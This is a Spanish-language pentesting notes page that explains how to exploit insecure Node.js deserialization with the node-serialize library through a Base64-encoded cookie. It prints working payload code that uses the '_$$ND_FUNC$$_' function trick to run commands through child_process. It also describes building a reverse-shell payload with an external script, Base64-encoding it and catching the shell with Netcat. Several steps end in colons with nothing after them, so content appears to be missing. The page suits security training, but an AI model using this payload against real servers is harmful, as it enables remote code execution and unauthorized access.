> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md).
# Deserialización de Node.js en Base64
## Deserialización (node.js)
Con Burp Suite, intercepta la solicitud y encuentra un **cookie codificada en Base64**:
### **Manual:**
El **serialize.js** el archivo de abajo serializa los datos y ejecuta un comando, en este caso `id`, en **nuestra máquina**:
```javascript
var y = {
rthis: function(){
require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });
}(),
}
var serialize = require('node-serialize');
console.log("Serializado: /n" + serialize.serialize(y));
```
Para enviar la carga útil al **servidor**, crea el **unserialize.js** archivo de abajo:
```javascript
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(/'child_process/').exec(/'id/', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
```
### **Automáticamente:**
Usa esto [script](https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py), súbelo y ejecútalo con **python2.7**:
Crea un archivo llamado `de datos` con el contenido de abajo, y reemplaza **input** con el contenido del script:
```json
{"rce":"_$$ND_FUNC$$_function(){input}()"}
```
Finalmente, convierte este archivo a **Base64**:
Pega el contenido en Burp Suite:
Con **Netcat**, escucha y obtén acceso:
---
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